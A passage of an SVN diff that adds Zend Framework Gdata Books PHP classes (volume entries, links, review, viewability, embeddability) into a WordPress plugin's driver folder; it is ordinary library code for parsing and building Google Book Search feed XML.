+     * for application storage/persistance.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc);
+        if ($this->_value !== null) {
+            $element->setAttribute('value', $this->_value);
+        }
+        return $element;
+    }
+
+    /**
+     * Extracts XML attributes from the DOM and converts them to the
+     * appropriate object members.
+     *
+     * @param DOMNode $attribute The DOMNode attribute to be handled.
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            $this->_value = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Returns the programmatic value that describes the embeddability of a
+     * volume in Google Book Search
+     *
+     * @return string|null The value
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Sets the programmatic value that describes the embeddability of a
+     * volume in Google Book Search
+     *
+     * @param string|null $value Programmatic value that describes the
+     *        embeddability of a volume in Google Book Search
+     * @return Zend_Gdata_Books_Extension_Embeddability Provides a fluent
+     *     interface
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/InfoLink.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/InfoLink.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/InfoLink.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Books_Extension_BooksLink
+ */
+require_once 'Zend/Gdata/Books/Extension/BooksLink.php';
+
+/**
+ * Describes an info link
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_Extension_InfoLink extends
+    Zend_Gdata_Books_Extension_BooksLink
+{
+
+    /**
+     * Constructor for Zend_Gdata_Books_Extension_InfoLink which
+     * Describes an info link
+     *
+     * @param string|null $href Linked resource URI
+     * @param string|null $rel Forward relationship
+     * @param string|null $type Resource MIME type
+     * @param string|null $hrefLang Resource language
+     * @param string|null $title Human-readable resource title
+     * @param string|null $length Resource length in octets
+     */
+    public function __construct($href = null, $rel = null, $type = null,
+            $hrefLang = null, $title = null, $length = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct($href, $rel, $type, $hrefLang, $title, $length);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/PreviewLink.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/PreviewLink.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/PreviewLink.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Books_Extension_BooksLink
+ */
+require_once 'Zend/Gdata/Books/Extension/BooksLink.php';
+
+/**
+ * Describes a preview link
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_Extension_PreviewLink extends
+    Zend_Gdata_Books_Extension_BooksLink
+{
+
+    /**
+     * Constructor for Zend_Gdata_Books_Extension_PreviewLink which
+     * Describes a preview link
+     *
+     * @param string|null $href Linked resource URI
+     * @param string|null $rel Forward relationship
+     * @param string|null $type Resource MIME type
+     * @param string|null $hrefLang Resource language
+     * @param string|null $title Human-readable resource title
+     * @param string|null $length Resource length in octets
+     */
+    public function __construct($href = null, $rel = null, $type = null,
+            $hrefLang = null, $title = null, $length = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct($href, $rel, $type, $hrefLang, $title, $length);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/Review.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/Review.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/Review.php	(revision 44)
@@ -0,0 +1,153 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * User-provided review
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_Extension_Review extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gbs';
+    protected $_rootElement = 'review';
+    protected $_lang = null;
+    protected $_type = null;
+
+    /**
+     * Constructor for Zend_Gdata_Books_Extension_Review which
+     * User-provided review
+     *
+     * @param string|null $lang Review language.
+     * @param string|null $type Type of text construct (typically text, html,
+     *        or xhtml).
+     * @param string|null $value Text content of the review.
+     */
+    public function __construct($lang = null, $type = null, $value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct();
+        $this->_lang = $lang;
+        $this->_type = $type;
+        $this->_text = $value;
+    }
+
+    /**
+     * Retrieves DOMElement which corresponds to this element and all
+     * child properties. This is used to build this object back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistance.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc);
+        if ($this->_lang !== null) {
+            $element->setAttribute('lang', $this->_lang);
+        }
+        if ($this->_type !== null) {
+            $element->setAttribute('type', $this->_type);
+        }
+        return $element;
+    }
+
+    /**
+     * Extracts XML attributes from the DOM and converts them to the
+     * appropriate object members.
+     *
+     * @param DOMNode $attribute The DOMNode attribute to be handled.
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'lang':
+            $this->_lang = $attribute->nodeValue;
+            break;
+        case 'type':
+            $this->_type = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Returns the language of link title
+     *
+     * @return string The lang
+     */
+    public function getLang()
+    {
+        return $this->_lang;
+    }
+
+    /**
+     * Returns the type of text construct (typically 'text', 'html' or 'xhtml')
+     *
+     * @return string The type
+     */
+    public function getType()
+    {
+        return $this->_type;
+    }
+
+    /**
+     * Sets the language of link title
+     *
+     * @param string $lang language of link title
+     * @return Zend_Gdata_Books_Extension_Review Provides a fluent interface
+     */
+    public function setLang($lang)
+    {
+        $this->_lang = $lang;
+        return $this;
+    }
+
+    /**
+     * Sets the type of text construct (typically 'text', 'html' or 'xhtml')
+     *
+     * @param string $type type of text construct (typically 'text', 'html' or 'xhtml')
+     * @return Zend_Gdata_Books_Extension_Review Provides a fluent interface
+     */
+    public function setType($type)
+    {
+        $this->_type = $type;
+        return $this;
+    }
+
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/ThumbnailLink.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/ThumbnailLink.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/ThumbnailLink.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Books_Extension_BooksLink
+ */
+require_once 'Zend/Gdata/Books/Extension/BooksLink.php';
+
+/**
+ * Describes a thumbnail link
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_Extension_ThumbnailLink extends
+    Zend_Gdata_Books_Extension_BooksLink
+{
+
+    /**
+     * Constructor for Zend_Gdata_Books_Extension_ThumbnailLink which
+     * Describes a thumbnail link
+     *
+     * @param string|null $href Linked resource URI
+     * @param string|null $rel Forward relationship
+     * @param string|null $type Resource MIME type
+     * @param string|null $hrefLang Resource language
+     * @param string|null $title Human-readable resource title
+     * @param string|null $length Resource length in octets
+     */
+    public function __construct($href = null, $rel = null, $type = null,
+            $hrefLang = null, $title = null, $length = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct($href, $rel, $type, $hrefLang, $title, $length);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/Viewability.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/Viewability.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/Viewability.php	(revision 44)
@@ -0,0 +1,124 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Describes a viewability
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_Extension_Viewability extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gbs';
+    protected $_rootElement = 'viewability';
+    protected $_value = null;
+
+    /**
+     * Constructor for Zend_Gdata_Books_Extension_Viewability which
+     * Describes a viewability
+     *
+     * @param string|null $value A programmatic value representing the book's
+     *        viewability mode.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves DOMElement which corresponds to this element and all
+     * child properties. This is used to build this object back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistance.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc);
+        if ($this->_value !== null) {
+            $element->setAttribute('value', $this->_value);
+        }
+        return $element;
+    }
+
+    /**
+     * Extracts XML attributes from the DOM and converts them to the
+     * appropriate object members.
+     *
+     * @param DOMNode $attribute The DOMNode attribute to be handled.
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            $this->_value = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Returns the programmatic value that describes the viewability of a volume
+     * in Google Book Search
+     *
+     * @return string The value
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Sets the programmatic value that describes the viewability of a volume in
+     * Google Book Search
+     *
+     * @param string $value programmatic value that describes the viewability
+     *     of a volume in Googl eBook Search
+     * @return Zend_Gdata_Books_Extension_Viewability Provides a fluent
+     *     interface
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/VolumeEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/VolumeEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/VolumeEntry.php	(revision 44)
@@ -0,0 +1,688 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension_Comments
+ */
+require_once 'Zend/Gdata/Extension/Comments.php';
+
+/**
+ * @see Zend_Gdata_DublinCore_Extension_Creator
+ */
+require_once 'Zend/Gdata/DublinCore/Extension/Creator.php';
+
+/**
+ * @see Zend_Gdata_DublinCore_Extension_Date
+ */
+require_once 'Zend/Gdata/DublinCore/Extension/Date.php';
+
+/**
+ * @see Zend_Gdata_DublinCore_Extension_Description
+ */
+require_once 'Zend/Gdata/DublinCore/Extension/Description.php';
+
+/**
+ * @see Zend_Gdata_Books_Extension_Embeddability
+ */
+require_once 'Zend/Gdata/Books/Extension/Embeddability.php';
+
+/**
+ * @see Zend_Gdata_DublinCore_Extension_Format
+ */
+require_once 'Zend/Gdata/DublinCore/Extension/Format.php';
+
+/**
+ * @see Zend_Gdata_DublinCore_Extension_Identifier
+ */
+require_once 'Zend/Gdata/DublinCore/Extension/Identifier.php';
+
+/**
+ * @see Zend_Gdata_DublinCore_Extension_Language
+ */
+require_once 'Zend/Gdata/DublinCore/Extension/Language.php';
+
+/**
+ * @see Zend_Gdata_DublinCore_Extension_Publisher
+ */
+require_once 'Zend/Gdata/DublinCore/Extension/Publisher.php';
+
+/**
+ * @see Zend_Gdata_Extension_Rating
+ */
+require_once 'Zend/Gdata/Extension/Rating.php';
+
+/**
+ * @see Zend_Gdata_Books_Extension_Review
+ */
+require_once 'Zend/Gdata/Books/Extension/Review.php';
+
+/**
+ * @see Zend_Gdata_DublinCore_Extension_Subject
+ */
+require_once 'Zend/Gdata/DublinCore/Extension/Subject.php';
+
+/**
+ * @see Zend_Gdata_DublinCore_Extension_Title
+ */
+require_once 'Zend/Gdata/DublinCore/Extension/Title.php';
+
+/**
+ * @see Zend_Gdata_Books_Extension_Viewability
+ */
+require_once 'Zend/Gdata/Books/Extension/Viewability.php';
+
+/**
+ * Describes an entry in a feed of Book Search volumes
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_VolumeEntry extends Zend_Gdata_Entry
+{
+
+    const THUMBNAIL_LINK_REL = 'http://schemas.google.com/books/2008/thumbnail';
+    const PREVIEW_LINK_REL = 'http://schemas.google.com/books/2008/preview';
+    const INFO_LINK_REL = 'http://schemas.google.com/books/2008/info';
+    const ANNOTATION_LINK_REL = 'http://schemas.google.com/books/2008/annotation';
+
+    protected $_comments = null;
+    protected $_creators = array();
+    protected $_dates = array();
+    protected $_descriptions = array();
+    protected $_embeddability = null;
+    protected $_formats = array();
+    protected $_identifiers = array();
+    protected $_languages = array();
+    protected $_publishers = array();
+    protected $_rating = null;
+    protected $_review = null;
+    protected $_subjects = array();
+    protected $_titles = array();
+    protected $_viewability = null;
+
+    /**
+     * Constructor for Zend_Gdata_Books_VolumeEntry which
+     * Describes an entry in a feed of Book Search volumes
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves DOMElement which corresponds to this element and all
+     * child properties. This is used to build this object back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistance.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc);
+        if ($this->_creators !== null) {
+            foreach ($this->_creators as $creators) {
+                $element->appendChild($creators->getDOM(
+                    $element->ownerDocument));
+            }
+        }
+        if ($this->_dates !== null) {
+            foreach ($this->_dates as $dates) {
+                $element->appendChild($dates->getDOM($element->ownerDocument));
+            }
+        }
+        if ($this->_descriptions !== null) {
+            foreach ($this->_descriptions as $descriptions) {
+                $element->appendChild($descriptions->getDOM(
+                    $element->ownerDocument));
+            }
+        }
+        if ($this->_formats !== null) {
+            foreach ($this->_formats as $formats) {
+                $element->appendChild($formats->getDOM(
+                    $element->ownerDocument));
+            }
+        }
+        if ($this->_identifiers !== null) {
+            foreach ($this->_identifiers as $identifiers) {
+                $element->appendChild($identifiers->getDOM(
+                    $element->ownerDocument));
+            }
+        }
+        if ($this->_languages !== null) {
+            foreach ($this->_languages as $languages) {
+                $element->appendChild($languages->getDOM(
+                    $element->ownerDocument));
+            }
+        }
+        if ($this->_publishers !== null) {
+            foreach ($this->_publishers as $publishers) {
+                $element->appendChild($publishers->getDOM(
+                    $element->ownerDocument));
+            }
+        }
+        if ($this->_subjects !== null) {
+            foreach ($this->_subjects as $subjects) {
+                $element->appendChild($subjects->getDOM(
+                    $element->ownerDocument));
+            }
+        }
+        if ($this->_titles !== null) {
+            foreach ($this->_titles as $titles) {
+                $element->appendChild($titles->getDOM($element->ownerDocument));
+            }
+        }
+        if ($this->_comments !== null) {
+            $element->appendChild($this->_comments->getDOM(
+                $element->ownerDocument));
+        }
+        if ($this->_embeddability !== null) {
+            $element->appendChild($this->_embeddability->getDOM(
+                $element->ownerDocument));
+        }
+        if ($this->_rating !== null) {
+            $element->appendChild($this->_rating->getDOM(
+                $element->ownerDocument));
+        }
+        if ($this->_review !== null) {
+            $element->appendChild($this->_review->getDOM(
+                $element->ownerDocument));
+        }
+        if ($this->_viewability !== null) {
+            $element->appendChild($this->_viewability->getDOM(
+                $element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual objects of the appropriate type and stores
+     * them in this object based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process.
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('dc') . ':' . 'creator':
+            $creators = new Zend_Gdata_DublinCore_Extension_Creator();
+            $creators->transferFromDOM($child);
+            $this->_creators[] = $creators;
+            break;
+        case $this->lookupNamespace('dc') . ':' . 'date':
+            $dates = new Zend_Gdata_DublinCore_Extension_Date();
+            $dates->transferFromDOM($child);
+            $this->_dates[] = $dates;
+            break;
+        case $this->lookupNamespace('dc') . ':' . 'description':
+            $descriptions = new Zend_Gdata_DublinCore_Extension_Description();
+            $descriptions->transferFromDOM($child);
+            $this->_descriptions[] = $descriptions;
+            break;
+        case $this->lookupNamespace('dc') . ':' . 'format':
+            $formats = new Zend_Gdata_DublinCore_Extension_Format();
+            $formats->transferFromDOM($child);
+            $this->_formats[] = $formats;
+            break;
+        case $this->lookupNamespace('dc') . ':' . 'identifier':
+            $identifiers = new Zend_Gdata_DublinCore_Extension_Identifier();
+            $identifiers->transferFromDOM($child);
+            $this->_identifiers[] = $identifiers;
+            break;
+        case $this->lookupNamespace('dc') . ':' . 'language':
+            $languages = new Zend_Gdata_DublinCore_Extension_Language();
+            $languages->transferFromDOM($child);
+            $this->_languages[] = $languages;
+            break;
+        case $this->lookupNamespace('dc') . ':' . 'publisher':
+            $publishers = new Zend_Gdata_DublinCore_Extension_Publisher();
+            $publishers->transferFromDOM($child);
+            $this->_publishers[] = $publishers;
+            break;
+        case $this->lookupNamespace('dc') . ':' . 'subject':
+            $subjects = new Zend_Gdata_DublinCore_Extension_Subject();
+            $subjects->transferFromDOM($child);
+            $this->_subjects[] = $subjects;
+            break;
+        case $this->lookupNamespace('dc') . ':' . 'title':
+            $titles = new Zend_Gdata_DublinCore_Extension_Title();
+            $titles->transferFromDOM($child);
+            $this->_titles[] = $titles;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'comments':
+            $comments = new Zend_Gdata_Extension_Comments();
+            $comments->transferFromDOM($child);
+            $this->_comments = $comments;
+            break;
+        case $this->lookupNamespace('gbs') . ':' . 'embeddability':
+            $embeddability = new Zend_Gdata_Books_Extension_Embeddability();
+            $embeddability->transferFromDOM($child);
+            $this->_embeddability = $embeddability;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'rating':
+            $rating = new Zend_Gdata_Extension_Rating();
+            $rating->transferFromDOM($child);
+            $this->_rating = $rating;
+            break;
+        case $this->lookupNamespace('gbs') . ':' . 'review':
+            $review = new Zend_Gdata_Books_Extension_Review();
+            $review->transferFromDOM($child);
+            $this->_review = $review;
+            break;
+        case $this->lookupNamespace('gbs') . ':' . 'viewability':
+            $viewability = new Zend_Gdata_Books_Extension_Viewability();
+            $viewability->transferFromDOM($child);
+            $this->_viewability = $viewability;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Returns the Comments class
+     *
+     * @return Zend_Gdata_Extension_Comments|null The comments
+     */
+    public function getComments()
+    {
+        return $this->_comments;
+    }
+
+    /**
+     * Returns the creators
+     *
+     * @return array The creators
+     */
+    public function getCreators()
+    {
+        return $this->_creators;
+    }
+
+    /**
+     * Returns the dates
+     *
+     * @return array The dates
+     */
+    public function getDates()
+    {
+        return $this->_dates;
+    }
+
+    /**
+     * Returns the descriptions
+     *
+     * @return array The descriptions
+     */
+    public function getDescriptions()
+    {
+        return $this->_descriptions;
+    }
+
+    /**
+     * Returns the embeddability
+     *
+     * @return Zend_Gdata_Books_Extension_Embeddability|null The embeddability
+     */
+    public function getEmbeddability()
+    {
+        return $this->_embeddability;
+    }
+
+    /**
+     * Returns the formats
+     *
+     * @return array The formats
+     */
+    public function getFormats()
+    {
+        return $this->_formats;
+    }
+
+    /**
+     * Returns the identifiers
+     *
+     * @return array The identifiers
+     */
+    public function getIdentifiers()
+    {
+        return $this->_identifiers;
+    }
+
+    /**
+     * Returns the languages
+     *
+     * @return array The languages
+     */
+    public function getLanguages()
+    {
+        return $this->_languages;
+    }
+
+    /**
+     * Returns the publishers
+     *
+     * @return array The publishers
+     */
+    public function getPublishers()
+    {
+        return $this->_publishers;
+    }
+
+    /**
+     * Returns the rating
+     *
+     * @return Zend_Gdata_Extension_Rating|null The rating
+     */
+    public function getRating()
+    {
+        return $this->_rating;
+    }
+
+    /**
+     * Returns the review
+     *
+     * @return Zend_Gdata_Books_Extension_Review|null The review
+     */
+    public function getReview()
+    {
+        return $this->_review;
+    }
+
+    /**
+     * Returns the subjects
+     *
+     * @return array The subjects
+     */
+    public function getSubjects()
+    {
+        return $this->_subjects;
+    }
+
+    /**
+     * Returns the titles
+     *
+     * @return array The titles
+     */
+    public function getTitles()
+    {
+        return $this->_titles;
+    }
+
+    /**
+     * Returns the viewability
+     *
+     * @return Zend_Gdata_Books_Extension_Viewability|null The viewability
+     */
+    public function getViewability()
+    {
+        return $this->_viewability;
+    }
+
+    /**
+     * Sets the Comments class
+     *
+     * @param Zend_Gdata_Extension_Comments|null $comments Comments class
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setComments($comments)
+    {
+        $this->_comments = $comments;
+        return $this;
+    }
+
+    /**
+     * Sets the creators
+     *
+     * @param array $creators Creators|null
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setCreators($creators)
+    {
+        $this->_creators = $creators;
+        return $this;
+    }
+
+    /**
+     * Sets the dates
+     *
+     * @param array $dates dates
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setDates($dates)
+    {
+        $this->_dates = $dates;
+        return $this;
+    }
+
+    /**
+     * Sets the descriptions
+     *
+     * @param array $descriptions descriptions
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setDescriptions($descriptions)
+    {
+        $this->_descriptions = $descriptions;
+        return $this;
+    }
+
+    /**
+     * Sets the embeddability
+     *
+     * @param Zend_Gdata_Books_Extension_Embeddability|null $embeddability
+     *        embeddability
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setEmbeddability($embeddability)
+    {
+        $this->_embeddability = $embeddability;
+        return $this;
+    }
+
+    /**
+     * Sets the formats
+     *
+     * @param array $formats formats
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setFormats($formats)
+    {
+        $this->_formats = $formats;
+        return $this;
+    }
+
+    /**
+     * Sets the identifiers
+     *
+     * @param array $identifiers identifiers
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setIdentifiers($identifiers)
+    {
+        $this->_identifiers = $identifiers;
+        return $this;
+    }
+
+    /**
+     * Sets the languages
+     *
+     * @param array $languages languages
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setLanguages($languages)
+    {
+        $this->_languages = $languages;
+        return $this;
+    }
+
+    /**
+     * Sets the publishers
+     *
+     * @param array $publishers publishers
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setPublishers($publishers)
+    {
+        $this->_publishers = $publishers;
+        return $this;
+    }
+
+    /**
+     * Sets the rating
+     *
+     * @param Zend_Gdata_Extension_Rating|null $rating rating
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setRating($rating)
+    {
+        $this->_rating = $rating;
+        return $this;
+    }
+
+    /**
+     * Sets the review
+     *
+     * @param Zend_Gdata_Books_Extension_Review|null $review review
+     * @return Zend_Gdata_Books_VolumeEntry Provides a fluent interface
+     */
+    public function setReview($review)
+    {
+        $this->_review = $review;
+        return $this;
+    }
+
+    /**
+     * Sets the subjects
+     *
+     * @param array $subjects subjects
